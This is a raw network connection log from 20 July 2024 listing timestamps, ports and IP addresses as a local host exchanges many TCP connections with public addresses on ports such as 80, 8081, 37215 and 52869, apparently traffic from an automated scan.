Jul 20, 2024 23:01:03.925421000 CEST	36028	52869	192.168.2.14	111.86.157.53
Jul 20, 2024 23:01:03.925421000 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.925421000 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.925683022 CEST	46694	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.926194906 CEST	43340	80	192.168.2.14	88.142.64.80
Jul 20, 2024 23:01:03.928199053 CEST	35360	37215	192.168.2.14	41.116.147.110
Jul 20, 2024 23:01:03.928555012 CEST	33458	52869	192.168.2.14	14.68.225.116
Jul 20, 2024 23:01:03.928792953 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.928792953 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.930973053 CEST	44150	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.931685925 CEST	58342	80	192.168.2.14	88.110.162.56
Jul 20, 2024 23:01:03.932681084 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.932681084 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.933515072 CEST	57976	37215	192.168.2.14	151.173.29.9
Jul 20, 2024 23:01:03.933998108 CEST	57570	52869	192.168.2.14	85.70.210.244
Jul 20, 2024 23:01:03.936099052 CEST	49086	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.938172102 CEST	57080	80	192.168.2.14	88.240.221.53
Jul 20, 2024 23:01:03.938278913 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.939472914 CEST	51512	52869	192.168.2.14	65.29.160.70
Jul 20, 2024 23:01:03.939590931 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.939590931 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.940469980 CEST	47388	37215	192.168.2.14	181.7.138.240
Jul 20, 2024 23:01:03.941206932 CEST	60010	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.943391085 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.943391085 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.943495989 CEST	45728	80	192.168.2.14	88.201.128.120
Jul 20, 2024 23:01:03.944250107 CEST	47368	52869	192.168.2.14	64.61.21.55
Jul 20, 2024 23:01:03.945463896 CEST	46414	37215	192.168.2.14	187.169.124.166
Jul 20, 2024 23:01:03.946192026 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.946269035 CEST	39834	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.948431969 CEST	50982	52869	192.168.2.14	108.207.129.253
Jul 20, 2024 23:01:03.948745966 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.948745966 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.949322939 CEST	44616	80	192.168.2.14	88.229.117.38
Jul 20, 2024 23:01:03.950229883 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.951036930 CEST	55910	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.951622009 CEST	55460	37215	192.168.2.14	41.167.148.200
Jul 20, 2024 23:01:03.953334093 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.953334093 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.954041958 CEST	59942	52869	192.168.2.14	178.57.58.147
Jul 20, 2024 23:01:03.954200029 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.954651117 CEST	43036	80	192.168.2.14	88.198.58.132
Jul 20, 2024 23:01:03.955705881 CEST	51798	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.956412077 CEST	39342	37215	192.168.2.14	122.197.102.121
Jul 20, 2024 23:01:03.958897114 CEST	48978	52869	192.168.2.14	5.108.28.159
Jul 20, 2024 23:01:03.959500074 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.959500074 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.960398912 CEST	34924	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.960597038 CEST	48520	80	192.168.2.14	88.218.13.142
Jul 20, 2024 23:01:03.962188005 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.963395119 CEST	43030	37215	192.168.2.14	41.177.182.89
Jul 20, 2024 23:01:03.964322090 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.964323044 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.964984894 CEST	51760	52869	192.168.2.14	2.46.59.12
Jul 20, 2024 23:01:03.966185093 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.967329979 CEST	52318	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.967880011 CEST	44570	80	192.168.2.14	88.50.41.153
Jul 20, 2024 23:01:03.968341112 CEST	33288	37215	192.168.2.14	197.24.155.216
Jul 20, 2024 23:01:03.969682932 CEST	41132	52869	192.168.2.14	169.73.158.246
Jul 20, 2024 23:01:03.971838951 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.972594023 CEST	39718	8081	192.168.2.14	95.137.144.201
Jul 20, 2024 23:01:03.974023104 CEST	57604	80	192.168.2.14	88.192.178.48
Jul 20, 2024 23:01:03.974345922 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.974685907 CEST	34710	37215	192.168.2.14	133.78.34.31
Jul 20, 2024 23:01:04.072959900 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:04.082385063 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:04.143527985 CEST	56038	8081	192.168.2.14	59.37.227.67
Jul 20, 2024 23:01:04.144072056 CEST	35486	80	192.168.2.14	88.192.159.101
Jul 20, 2024 23:01:04.144154072 CEST	49348	37215	192.168.2.14	212.240.183.0
Jul 20, 2024 23:01:04.146053076 CEST	40486	52869	192.168.2.14	117.199.176.147
Jul 20, 2024 23:01:04.148478031 CEST	38412	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:04.148478985 CEST	36614	52869	192.168.2.14	58.141.211.31
Jul 20, 2024 23:01:04.150279999 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:04.151542902 CEST	54320	80	192.168.2.14	88.40.37.149
Jul 20, 2024 23:01:04.151894093 CEST	49318	37215	192.168.2.14	41.34.107.16
Jul 20, 2024 23:01:04.152630091 CEST	35828	52869	192.168.2.14	60.154.99.20
Jul 20, 2024 23:01:04.153734922 CEST	35448	8081	192.168.2.14	45.157.196.111
Jul 20, 2024 23:01:04.155601025 CEST	52714	8081	192.168.2.14	141.126.51.250
Jul 20, 2024 23:01:04.157505989 CEST	36720	52869	192.168.2.14	60.68.1.166
Jul 20, 2024 23:01:04.157917023 CEST	50456	80	192.168.2.14	88.231.245.80
Jul 20, 2024 23:01:04.158181906 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:04.158473015 CEST	43838	37215	192.168.2.14	157.98.176.2
Jul 20, 2024 23:01:04.160871983 CEST	59014	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:04.162193060 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:04.163291931 CEST	46340	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:04.164577007 CEST	58016	52869	192.168.2.14	174.117.157.2
Jul 20, 2024 23:01:04.164741039 CEST	49794	37215	192.168.2.14	157.37.64.90
Jul 20, 2024 23:01:04.166179895 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:04.166821003 CEST	55682	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:04.170170069 CEST	36128	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:04.170568943 CEST	32892	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:04.178091049 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:04.178091049 CEST	46630	37215	192.168.2.14	41.107.164.92
Jul 20, 2024 23:01:04.178184032 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:04.178391933 CEST	51680	8081	192.168.2.14	73.23.234.220
Jul 20, 2024 23:01:04.182284117 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:04.184417963 CEST	46610	52869	192.168.2.14	72.222.174.251
Jul 20, 2024 23:01:04.185193062 CEST	42736	80	192.168.2.14	88.52.198.182
Jul 20, 2024 23:01:04.186259031 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:04.187073946 CEST	57212	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:04.188077927 CEST	33974	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:04.188965082 CEST	53066	52869	192.168.2.14	36.44.157.9
Jul 20, 2024 23:01:04.189440966 CEST	37900	80	192.168.2.14	88.41.193.251
Jul 20, 2024 23:01:04.190536022 CEST	52869	50718	222.15.221.37	192.168.2.14
Jul 20, 2024 23:01:04.190596104 CEST	52869	44250	47.67.168.49	192.168.2.14
Jul 20, 2024 23:01:04.190613031 CEST	50718	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:04.190669060 CEST	44250	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:04.190682888 CEST	52869	56876	115.118.201.201	192.168.2.14
Jul 20, 2024 23:01:04.190716982 CEST	37215	54762	41.135.123.11	192.168.2.14
Jul 20, 2024 23:01:04.190752983 CEST	56876	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:04.190802097 CEST	54762	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:04.191622019 CEST	37042	8081	192.168.2.14	114.57.162.85
Jul 20, 2024 23:01:04.194678068 CEST	8081	44234	71.246.161.243	192.168.2.14
Jul 20, 2024 23:01:04.194685936 CEST	80	54890	88.125.66.213	192.168.2.14
Jul 20, 2024 23:01:04.194698095 CEST	37215	54410	197.1.252.213	192.168.2.14
Jul 20, 2024 23:01:04.194731951 CEST	44234	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:04.194731951 CEST	54890	80	192.168.2.14	88.125.66.213
Jul 20, 2024 23:01:04.194876909 CEST	54410	37215	192.168.2.14	197.1.252.213
Jul 20, 2024 23:01:04.195067883 CEST	8081	35734	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:04.195493937 CEST	80	46316	88.138.103.241	192.168.2.14
Jul 20, 2024 23:01:04.195841074 CEST	41162	37215	192.168.2.14	197.221.83.254
Jul 20, 2024 23:01:04.195841074 CEST	35734	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:04.195841074 CEST	46316	80	192.168.2.14	88.138.103.241
Jul 20, 2024 23:01:04.197307110 CEST	8081	51568	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.197320938 CEST	80	45600	88.28.50.53	192.168.2.14
Jul 20, 2024 23:01:04.197408915 CEST	37215	33246	157.166.67.79	192.168.2.14
Jul 20, 2024 23:01:04.197526932 CEST	2466	38412	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:04.197532892 CEST	52869	48580	167.60.40.217	192.168.2.14
Jul 20, 2024 23:01:04.197587967 CEST	52869	36028	111.86.157.53	192.168.2.14
Jul 20, 2024 23:01:04.198014021 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.198019028 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.198029041 CEST	8081	46694	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.198066950 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.198070049 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.198074102 CEST	80	43340	88.142.64.80	192.168.2.14
Jul 20, 2024 23:01:04.198111057 CEST	37215	35360	41.116.147.110	192.168.2.14
Jul 20, 2024 23:01:04.198115110 CEST	52869	33458	14.68.225.116	192.168.2.14
Jul 20, 2024 23:01:04.198129892 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.198134899 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.198175907 CEST	8081	44150	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.198194027 CEST	80	58342	88.110.162.56	192.168.2.14
Jul 20, 2024 23:01:04.198373079 CEST	8081	48730	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:04.198376894 CEST	8081	48730	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:04.198390961 CEST	37215	57976	151.173.29.9	192.168.2.14
Jul 20, 2024 23:01:04.198400974 CEST	52869	57570	85.70.210.244	192.168.2.14
Jul 20, 2024 23:01:04.198450089 CEST	8081	49086	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:04.198482990 CEST	80	57080	88.240.221.53	192.168.2.14
Jul 20, 2024 23:01:04.198487043 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.198514938 CEST	52869	51512	65.29.160.70	192.168.2.14
Jul 20, 2024 23:01:04.198523045 CEST	8081	59652	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:04.198976040 CEST	8081	59652	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:04.199002028 CEST	37215	47388	181.7.138.240	192.168.2.14
Jul 20, 2024 23:01:04.199021101 CEST	8081	60010	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:04.199055910 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.199059963 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.199064016 CEST	80	45728	88.201.128.120	192.168.2.14
Jul 20, 2024 23:01:04.199223995 CEST	52869	47368	64.61.21.55	192.168.2.14
Jul 20, 2024 23:01:04.199259043 CEST	37215	46414	187.169.124.166	192.168.2.14
Jul 20, 2024 23:01:04.199270964 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.199275970 CEST	8081	39834	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.199310064 CEST	52869	50982	108.207.129.253	192.168.2.14
Jul 20, 2024 23:01:04.199548960 CEST	8081	55550	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:04.199562073 CEST	8081	55550	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:04.199580908 CEST	80	44616	88.229.117.38	192.168.2.14
Jul 20, 2024 23:01:04.199650049 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.199984074 CEST	8081	55910	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:04.199997902 CEST	37215	55460	41.167.148.200	192.168.2.14
Jul 20, 2024 23:01:04.200385094 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.200393915 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.200424910 CEST	52869	59942	178.57.58.147	192.168.2.14
Jul 20, 2024 23:01:04.200432062 CEST	8081	48730	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:04.200447083 CEST	80	43036	88.198.58.132	192.168.2.14
Jul 20, 2024 23:01:04.200450897 CEST	8081	51798	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.200923920 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:04.200934887 CEST	37215	39342	122.197.102.121	192.168.2.14
Jul 20, 2024 23:01:04.200984955 CEST	52869	48978	5.108.28.159	192.168.2.14
Jul 20, 2024 23:01:04.201019049 CEST	8081	34562	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:04.201026917 CEST	8081	34562	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:04.201045990 CEST	8081	34924	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:04.201070070 CEST	80	48520	88.218.13.142	192.168.2.14
Jul 20, 2024 23:01:04.201095104 CEST	8081	59652	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:04.201100111 CEST	37215	43030	41.177.182.89	192.168.2.14
Jul 20, 2024 23:01:04.201312065 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.201316118 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.201355934 CEST	52869	51760	2.46.59.12	192.168.2.14
Jul 20, 2024 23:01:04.201376915 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.201395035 CEST	8081	52318	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.201404095 CEST	80	44570	88.50.41.153	192.168.2.14
Jul 20, 2024 23:01:04.201662064 CEST	37215	33288	197.24.155.216	192.168.2.14
Jul 20, 2024 23:01:04.201688051 CEST	52869	41132	169.73.158.246	192.168.2.14
Jul 20, 2024 23:01:04.201735973 CEST	8081	55550	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:04.201777935 CEST	8081	39718	95.137.144.201	192.168.2.14
Jul 20, 2024 23:01:04.201807022 CEST	80	57604	88.192.178.48	192.168.2.14
Jul 20, 2024 23:01:04.201828003 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.201837063 CEST	37215	34710	133.78.34.31	192.168.2.14
Jul 20, 2024 23:01:04.209445953 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.210455894 CEST	8081	34562	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:04.212553024 CEST	48580	52869	192.168.2.14	167.60.40.217
Jul 20, 2024 23:01:04.212553024 CEST	39834	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:04.212553024 CEST	55910	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:04.216077089 CEST	45600	80	192.168.2.14	88.28.50.53
Jul 20, 2024 23:01:04.216098070 CEST	8081	56038	59.37.227.67	192.168.2.14
Jul 20, 2024 23:01:04.216130972 CEST	37215	49348	212.240.183.0	192.168.2.14
Jul 20, 2024 23:01:04.216147900 CEST	80	35486	88.192.159.101	192.168.2.14
Jul 20, 2024 23:01:04.216577053 CEST	52869	40486	117.199.176.147	192.168.2.14
Jul 20, 2024 23:01:04.217226028 CEST	2466	38412	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:04.217231035 CEST	52869	36614	58.141.211.31	192.168.2.14
Jul 20, 2024 23:01:04.217288971 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.217370033 CEST	80	54320	88.40.37.149	192.168.2.14
Jul 20, 2024 23:01:04.217386961 CEST	37215	49318	41.34.107.16	192.168.2.14
Jul 20, 2024 23:01:04.217400074 CEST	52869	35828	60.154.99.20	192.168.2.14
Jul 20, 2024 23:01:04.217849016 CEST	8081	35448	45.157.196.111	192.168.2.14
Jul 20, 2024 23:01:04.217890978 CEST	8081	52714	141.126.51.250	192.168.2.14
Jul 20, 2024 23:01:04.218116999 CEST	52869	36720	60.68.1.166	192.168.2.14
Jul 20, 2024 23:01:04.218131065 CEST	80	50456	88.231.245.80	192.168.2.14
Jul 20, 2024 23:01:04.218147993 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.218152046 CEST	37215	43838	157.98.176.2	192.168.2.14
Jul 20, 2024 23:01:04.219914913 CEST	43340	80	192.168.2.14	88.142.64.80
Jul 20, 2024 23:01:04.219914913 CEST	35360	37215	192.168.2.14	41.116.147.110
Jul 20, 2024 23:01:04.225651979 CEST	51568	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:04.225651979 CEST	51512	52869	192.168.2.14	65.29.160.70
Jul 20, 2024 23:01:04.226070881 CEST	33246	37215	192.168.2.14	157.166.67.79
Jul 20, 2024 23:01:04.227976084 CEST	41132	52869	192.168.2.14	169.73.158.246
Jul 20, 2024 23:01:04.227976084 CEST	39718	8081	192.168.2.14	95.137.144.201
Jul 20, 2024 23:01:04.229063988 CEST	46694	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:04.229063988 CEST	33458	52869	192.168.2.14	14.68.225.116
Jul 20, 2024 23:01:04.229063988 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:04.229063988 CEST	57976	37215	192.168.2.14	151.173.29.9
Jul 20, 2024 23:01:04.229063988 CEST	47388	37215	192.168.2.14	181.7.138.240
Jul 20, 2024 23:01:04.230950117 CEST	60010	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:04.230950117 CEST	45728	80	192.168.2.14	88.201.128.120
Jul 20, 2024 23:01:04.236013889 CEST	43036	80	192.168.2.14	88.198.58.132
Jul 20, 2024 23:01:04.236013889 CEST	51798	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:04.236013889 CEST	48978	52869	192.168.2.14	5.108.28.159
Jul 20, 2024 23:01:04.237787962 CEST	36028	52869	192.168.2.14	111.86.157.53
Jul 20, 2024 23:01:04.238888025 CEST	43030	37215	192.168.2.14	41.177.182.89
Jul 20, 2024 23:01:04.238888025 CEST	52318	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:04.239672899 CEST	47368	52869	192.168.2.14	64.61.21.55
Jul 20, 2024 23:01:04.240034103 CEST	34924	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:04.240034103 CEST	34710	37215	192.168.2.14	133.78.34.31
Jul 20, 2024 23:01:04.241317987 CEST	44150	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:04.241318941 CEST	49086	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:04.242743969 CEST	44616	80	192.168.2.14	88.229.117.38
Jul 20, 2024 23:01:04.244899035 CEST	58342	80	192.168.2.14	88.110.162.56
Jul 20, 2024 23:01:04.244899035 CEST	57570	52869	192.168.2.14	85.70.210.244
Jul 20, 2024 23:01:04.247957945 CEST	33288	37215	192.168.2.14	197.24.155.216
Jul 20, 2024 23:01:04.255553961 CEST	39342	37215	192.168.2.14	122.197.102.121
Jul 20, 2024 23:01:04.255553961 CEST	51760	52869	192.168.2.14	2.46.59.12
Jul 20, 2024 23:01:04.263874054 CEST	57080	80	192.168.2.14	88.240.221.53
Jul 20, 2024 23:01:04.263874054 CEST	46414	37215	192.168.2.14	187.169.124.166
Jul 20, 2024 23:01:04.263874054 CEST	50982	52869	192.168.2.14	108.207.129.253
Jul 20, 2024 23:01:04.263874054 CEST	55460	37215	192.168.2.14	41.167.148.200
Jul 20, 2024 23:01:04.263874054 CEST	59942	52869	192.168.2.14	178.57.58.147
Jul 20, 2024 23:01:04.270196915 CEST	48520	80	192.168.2.14	88.218.13.142
Jul 20, 2024 23:01:04.270196915 CEST	44570	80	192.168.2.14	88.50.41.153
Jul 20, 2024 23:01:04.270196915 CEST	57604	80	192.168.2.14	88.192.178.48
Jul 20, 2024 23:01:04.310966969 CEST	49348	37215	192.168.2.14	212.240.183.0
Jul 20, 2024 23:01:04.315709114 CEST	35486	80	192.168.2.14	88.192.159.101
Jul 20, 2024 23:01:04.316803932 CEST	56038	8081	192.168.2.14	59.37.227.67
Jul 20, 2024 23:01:04.317900896 CEST	49318	37215	192.168.2.14	41.34.107.16
Jul 20, 2024 23:01:04.321952105 CEST	35448	8081	192.168.2.14	45.157.196.111
Jul 20, 2024 23:01:04.322887897 CEST	54320	80	192.168.2.14	88.40.37.149
Jul 20, 2024 23:01:04.322887897 CEST	35828	52869	192.168.2.14	60.154.99.20
Jul 20, 2024 23:01:04.322887897 CEST	52714	8081	192.168.2.14	141.126.51.250
Jul 20, 2024 23:01:04.322887897 CEST	36720	52869	192.168.2.14	60.68.1.166
Jul 20, 2024 23:01:04.322887897 CEST	50456	80	192.168.2.14	88.231.245.80
Jul 20, 2024 23:01:04.327702045 CEST	36614	52869	192.168.2.14	58.141.211.31
Jul 20, 2024 23:01:04.328243017 CEST	40486	52869	192.168.2.14	117.199.176.147
Jul 20, 2024 23:01:04.330621958 CEST	37215	43838	157.98.176.2	192.168.2.14
Jul 20, 2024 23:01:04.330637932 CEST	37215	46630	41.107.164.92	192.168.2.14
Jul 20, 2024 23:01:04.330646992 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.330652952 CEST	52869	58016	174.117.157.2	192.168.2.14
Jul 20, 2024 23:01:04.330655098 CEST	37215	49794	157.37.64.90	192.168.2.14
Jul 20, 2024 23:01:04.330658913 CEST	80	37900	88.41.193.251	192.168.2.14
Jul 20, 2024 23:01:04.330666065 CEST	8081	60010	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:04.330678940 CEST	37215	57976	151.173.29.9	192.168.2.14
Jul 20, 2024 23:01:04.330688953 CEST	80	58342	88.110.162.56	192.168.2.14
Jul 20, 2024 23:01:04.330692053 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:04.330703020 CEST	37215	33246	157.166.67.79	192.168.2.14
Jul 20, 2024 23:01:04.330713987 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.330714941 CEST	8081	51680	73.23.234.220	192.168.2.14
Jul 20, 2024 23:01:04.330720901 CEST	80	45600	88.28.50.53	192.168.2.14
Jul 20, 2024 23:01:04.330729008 CEST	80	54890	88.125.66.213	192.168.2.14
Jul 20, 2024 23:01:04.330730915 CEST	52869	51512	65.29.160.70	192.168.2.14
Jul 20, 2024 23:01:04.330734968 CEST	52869	46610	72.222.174.251	192.168.2.14
Jul 20, 2024 23:01:04.330739975 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.330760002 CEST	52869	53066	36.44.157.9	192.168.2.14
Jul 20, 2024 23:01:04.330766916 CEST	8081	37042	114.57.162.85	192.168.2.14
Jul 20, 2024 23:01:04.330779076 CEST	37215	41162	197.221.83.254	192.168.2.14
Jul 20, 2024 23:01:04.330797911 CEST	52869	48580	167.60.40.217	192.168.2.14
Jul 20, 2024 23:01:04.330799103 CEST	8081	51568	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:04.330806017 CEST	8081	44150	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:04.330807924 CEST	8081	39834	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:04.330811024 CEST	52869	41132	169.73.158.246	192.168.2.14
Jul 20, 2024 23:01:04.330820084 CEST	8081	46694	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:04.330827951 CEST	8081	39718	95.137.144.201	192.168.2.14
Jul 20, 2024 23:01:04.330830097 CEST	37215	47388	181.7.138.240	192.168.2.14
Jul 20, 2024 23:01:04.330831051 CEST	80	43340	88.142.64.80	192.168.2.14
Jul 20, 2024 23:01:04.330835104 CEST	43838	37215	192.168.2.14	157.98.176.2
Jul 20, 2024 23:01:04.330842018 CEST	80	45728	88.201.128.120	192.168.2.14
Jul 20, 2024 23:01:04.330835104 CEST	58016	52869	192.168.2.14	174.117.157.2
Jul 20, 2024 23:01:04.330853939 CEST	8081	51798	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:04.330883026 CEST	80	44616	88.229.117.38	192.168.2.14
Jul 20, 2024 23:01:04.330884933 CEST	8081	34924	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:04.334903955 CEST	41162	37215	192.168.2.14	197.221.83.254
Jul 20, 2024 23:01:04.342252970 CEST	46630	37215	192.168.2.14	41.107.164.92
Jul 20, 2024 23:01:04.357122898 CEST	44616	80	192.168.2.14	88.229.117.38
Jul 20, 2024 23:01:04.357122898 CEST	44150	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:04.358287096 CEST	33246	37215	192.168.2.14	157.166.67.79
Jul 20, 2024 23:01:04.365289927 CEST	37900	80	192.168.2.14	88.41.193.251
Jul 20, 2024 23:01:04.365289927 CEST	46610	52869	192.168.2.14	72.222.174.251
Jul 20, 2024 23:01:04.366883039 CEST	52869	51760	2.46.59.12	192.168.2.14
Jul 20, 2024 23:01:04.366920948 CEST	52869	36028	111.86.157.53	192.168.2.14
Jul 20, 2024 23:01:04.366966963 CEST	80	57080	88.240.221.53	192.168.2.14
Jul 20, 2024 23:01:04.366981030 CEST	37215	46414	187.169.124.166	192.168.2.14
Jul 20, 2024 23:01:04.367026091 CEST	52869	50982	108.207.129.253	192.168.2.14
Jul 20, 2024 23:01:04.367276907 CEST	37215	50544	60.162.189.105	192.168.2.14
Jul 20, 2024 23:01:04.369124889 CEST	37042	8081	192.168.2.14	114.57.162.85
Jul 20, 2024 23:01:04.369219065 CEST	37215	55460	41.167.148.200	192.168.2.14
Jul 20, 2024 23:01:04.372577906 CEST	80	48520	88.218.13.142	192.168.2.14
Jul 20, 2024 23:01:04.380410910 CEST	39718	8081	192.168.2.14	95.137.144.201
Jul 20, 2024 23:01:04.380410910 CEST	41132	52869	192.168.2.14	169.73.158.246
Jul 20, 2024 23:01:04.380410910 CEST	39834	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:04.382074118 CEST	48580	52869	192.168.2.14	167.60.40.217
Jul 20, 2024 23:01:04.383259058 CEST	49794	37215	192.168.2.14	157.37.64.90
Jul 20, 2024 23:01:04.383259058 CEST	51680	8081	192.168.2.14	73.23.234.220
Jul 20, 2024 23:01:04.386749029 CEST	51798	8081	192.168.2.14	218.35.247.228
